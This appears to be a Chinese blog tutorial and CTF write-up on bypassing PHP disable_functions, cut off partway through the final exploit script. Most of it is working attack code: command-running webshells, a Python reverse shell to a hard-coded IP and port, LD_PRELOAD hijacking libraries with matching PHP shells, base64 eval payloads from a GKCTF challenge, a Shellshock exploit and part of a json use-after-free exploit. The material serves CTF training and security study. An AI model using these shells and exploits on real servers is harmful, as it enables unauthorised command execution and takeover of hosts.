文章目录
前言
有些时候,phpinfo()有disable_functions
蚁剑终端命令不起作用,就可能是df
的问题
黑名单绕过
就是一些运维人员php命令执行的函数没禁用完
exec,passthru,shell_exec,eval,system,popen,proc_open(),pcntl_exec
前几种都比较简单
popen
打开进程文件指针
<?php
$command=$_POST['cmd'];
$handle = popen($command,"r");
while(!feof($handle)){
echo fread($handle, 1024); //fread($handle, 1024);
}
pclose($handle);
?>
proc_open
proc_open — 执行一个命令,并且打开用来输入/输出的文件指针。
<?php
$command="ipconfig";
$descriptorspec = array(1 => array("pipe", "w"));
$handle = proc_open($command ,$descriptorspec , $pipes);
while(!feof($pipes[1])){
echo fread($pipes[1], 1024); //fgets($pipes[1],1024);
}
?>
$descriptorspec = array(
0 => array("pipe", "r"), // 标准输入,子进程从此管道中读取数据
1 => array("pipe", "w"), // 标准输出,子进程向此管道中写入数据
2 => array("file", "/tmp/error-output.txt", "a") // 标准错误,写入到一个文件
);
pcntl_exec
在当前进程空间执行指定程序
CTF题:[第四届“蓝帽杯”决赛]php
利用pcntl_exec()
执行test.sh
:
<?php
if(function_exists('pcntl_exec')) {
pcntl_exec("/bin/bash", array("/tmp/test.sh"));
} else {
echo 'pcntl extension is not support!';
}
?>
由于pcntl_exec()执行命令是没有回显的,所以其常与python结合来反弹shell:
<?php pcntl_exec("/usr/bin/python",array('-c','import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("132.232.75.90",9898));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));
利用 LD_PRELOAD 环境变量
LD_PRELOAD 简介
LD_PRELOAD 是 Linux 系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的攻击目的。
我们通过环境变量 LD_PRELOAD 劫持系统函数,可以达到不调用 PHP 的各种命令执行函数(system()、exec() 等等)仍可执行系统命令的目的。
利用条件
- mail() 函数和 error_log() 函数所调用的 sendmail 已安装
- 不限制 /usr/sbin/sendmail 的执行
- mail() 函数和 error_log() 函数有一个未被禁用
- 可以上传我们的so文件和php文件
- 命令执行包含该so文件
劫持 getuid()
前提是在 Linux 中已安装并启用 sendmail 程序。
php 的 mail() 函数在执行过程中会默认调用系统程序 / usr/sbin/sendmail,而 / usr/sbin/sendmail 会调用 getuid()。如果我们能通过 LD_PRELOAD 的方式来劫持 getuid(),再用 mail() 函数来触发 sendmail 程序进而执行被劫持的 getuid(),从而就能执行恶意代码了。
- 编写一个原型为 uid_t getuid(void); 的 C 函数,内部执行攻击者指定的代码,并编译成共享对象 a.so;
- 运行 PHP 函数 putenv(),设定环境变量 LD_PRELOAD 为 a.so,以便后续启动新进程时优先加载该共享对象;
- 运行 PHP 的 mail() 函数,mail() 内部启动新进程 /usr/sbin/sendmail,由于上一步 LD_PRELOAD 的作用,sendmail 调用的系统函数 getuid() 被优先级更好的 a.so 中的同名 getuid() 所劫持;
- 达到不调用 PHP 的各种命令执行函数(system()、exec() 等等)仍可执行系统命令的目的
首先编写 test.c,劫持 getuid() 函数,获取 LD_PRELOAD 环境变量并预加载恶意的共享库,再删除环境变量 LD_PRELOAD,最后执行由 EVIL_CMDLINE 环境变量获取的系统命令
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int geteuid() {
const char* cmdline = getenv("EVIL_CMDLINE");
if (getenv("LD_PRELOAD") == NULL) {
return 0; }
unsetenv("LD_PRELOAD");
system(cmdline);
}
当这个共享库中的 getuid() 被调用时,尝试加载 payload() 函数执行命令。
接着用以下语句编译 C 文件为共享对象文件:
gcc -shared -fPIC test.c -o test.so
最后编写 test.php:
<?php
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
这里接受 3 个参数,一是 cmd 参数,待执行的系统命令;二是 outpath 参数,保存命令执行输出结果的文件路径,便于在页面上显示,另外该参数,你应注意 web 是否有读写权限、web 是否可跨目录访问、文件将被覆盖和删除等几点;三是 sopath 参数,指定劫持系统函数的共享对象的绝对路径。
这里通过 putenv() 函数将 LD_PRELOAD 环境变量设置为恶意的 test.so、将自定义的 EVIL_CMDLINE 环境变量赋值为要执行的命令;然后调用 mail() 函数触发 sendmail(),再通过 sendmail() 触发 getuid() 从而使恶意的 test.so 被加载执行;最后再输出内容到页面上并删除临时存放命令执行结果的文件。
访问 test.php,输入相应的参数即可执行成功
劫持启动进程
第一种方法是劫持 getuid(),是较为常用的方法,但存在缺陷:
-
目标 Linux 未安装或为启用 sendmail;
-
即便目标可以启用 sendmail,由于未将主机名添加进 hosts 中,导致每次运行 sendmail 都要耗时半分钟等待域名解析超时返回,www-data 也无法将主机名加入 hosts;
(hosts文件是主机名和IP地址映射)
编写 bypass_disablefunc.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
// executive command
system(cmdline);
}
接着用以下语句编译 C 文件为共享对象文件:
gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc.so
bypass_disablefunc.php,代码和 test.php 一致:
<?php
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
演示过程
[2020GKCTF]checkin
执行命令,先看phpinfo()
/?Ginkgo=cGhwaW5mbygpOw==
# 即phpinfo();
需要绕过df
先拿shell
/?Ginkgo=ZXZhbCgkX1BPU1Rbd2hvYW1pXSk7
# 即eval($_POST[whoami]);
蚁剑连接后,没权限打开flag
终端命令也不行,那就需要绕过df
才行
方法1:利用LD_PRELOAD环境变量
下载该项目的利用文件:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
本项目中有这几个关键文件:
bypass_disablefunc.php:一个用来执行命令的 webshell。
bypass_disablefunc_x64.so或bypass_disablefunc_x86.so:执行命令的共享对象文件,分为64位的和32位的。
bypass_disablefunc.c:用来编译生成上面的共享对象文件。
对于bypass_disablefunc.php,权限上传到web目录的直接访问,无权限的话可以传到tmp目录后用include等函数来包含,并且需要用 GET 方法提供三个参数:
cmd 参数:待执行的系统命令,如 id 命令。
outpath 参数:保存命令执行输出结果的文件路径(如 /tmp/xx),便于在页面上显示,另外该参数,你应注意 web 是否有读写权限、web 是否可跨目录访问、文件将被覆盖和删除等几点。
sopath 参数:指定劫持系统函数的共享对象的绝对路径(如 /var/www/bypass_disablefunc_x64.so),另外关于该参数,你应注意 web 是否可跨目录访问到它。
想办法将 bypass_disablefunc.php 和 bypass_disablefunc_x64.so 传到目标有权限的目录中
这个目录上传失败
去/var/tmp
上传,成功
开始利用
然后将bypass_disablefunc.php包含进来并使用GET方法提供所需的三个参数:
/?Ginkgo=aW5jbHVkZSgiL3Zhci90bXAvYnlwYXNzX2Rpc2FibGVmdW5jLnBocCIpOw==&cmd=id&outpath=/tmp/outfile123&sopath=/var/tmp/bypass_disablefunc_x64.so
# include("/var/tmp/bypass_disablefunc.php");
利用ShellShock(CVE-2014-6271)
使用条件:
Linux 操作系统
putenv()
、mail()
或error_log()
函数可用目标系统的
/bin/bash
存在CVE-2014-6271
漏洞
/bin/sh -> /bin/bash
sh 默认的 shell 是 bash
原理简述
该方法利用的bash中的一个老漏洞,即Bash Shellshock 破壳漏洞(CVE-2014-6271)。
该漏洞的原因是Bash使用的环境变量是通过函数名称来调用的,导致该漏洞出现是以(){
开头定义的环境变量在命令 ENV 中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。
一般函数体内的代码不会被执行,但破壳漏洞会错误的将"{}"花括号外的命令进行执行。PHP里的某些函数(例如:mail()、imap_mail())能调用popen或其他能够派生bash子进程的函数,可以通过这些函数来触发破壳漏洞(CVE-2014-6271)执行命令。
演示过程
我们利用 AntSword-Labs项目来搭建环境:
云服务docker搭建
git clone https://github.com/AntSwordProject/AntSword-Labs.git
cd AntSword-Labs/bypass_disable_functions/2
docker-compose up -d
搭建完成后访问 http://your-ip:18080
看phpinfo()
上蚁剑
AntSword 虚拟终端中已经集成了对 ShellShock 的利用,直接在虚拟终端执行命令即可绕过disable_functions:
可以选择手动利用。在有权限的目录中(/var/tmp/shell.php)上传以下利用脚本:
<?php
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271
function shellshock($cmd) {
// Execute a command via CVE-2014-6271 @mail.c:283
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
// In Safe Mode, the user may only alter environment variableswhose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variablesthat
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
// PHP will let the user modify ANY environment variable!
//mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail
error_log('a',1);
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
上传到/var/tmp
目录下,命令执行包含该文件
php-json-bypass
使用条件:
Linux 操作系统
PHP 版本
7.1 - all versions to date
7.2 < 7.2.19 (released: 30 May 2019)
7.3 < 7.3.6 (released: 30 May 2019)
原理简述
此漏洞利用json序列化程序中的释放后使用漏洞,利用json序列化程序中的堆溢出触发,以绕过disable_functions
和执行系统命令。
利用脚本
<?php
$cmd = "id";
$n_alloc = 10; # increase this value if you get segfaults
class MySplFixedArray extends SplFixedArray {
public static $leak;
}
class Z implements JsonSerializable {
public function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
public function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
public function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
# unable to leak ro segments
public function leak1($addr) {
global $spl1;
$this->write($this->abc, 8, $addr - 0x10);
return strlen(get_class($spl1));
}
# the real deal
public function leak2($addr, $p = 0, $s = 8) {
global $spl1, $fake_tbl_off;
# fake reference zval
$this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
$this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)
$leak = strlen($spl1::$leak);
if($s != 8) {
$leak %= 2 << ($s * 8) - 1; }
return $leak;
}
public function parse_elf($base) {
$e_type = $this->leak2($base, 0x10, 2);
$e_phoff = $this->leak2($base, 0x20);
$e_phentsize = $this->leak2($base, 0x36, 2);
$e_phnum = $this->leak2($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = $this->leak2($header, 0, 4);
$p_flags = $this->leak2($header, 4, 4);
$p_vaddr = $this->leak2($header, 0x10);
$p_memsz = $this->leak2($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
# PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
# PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
public function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size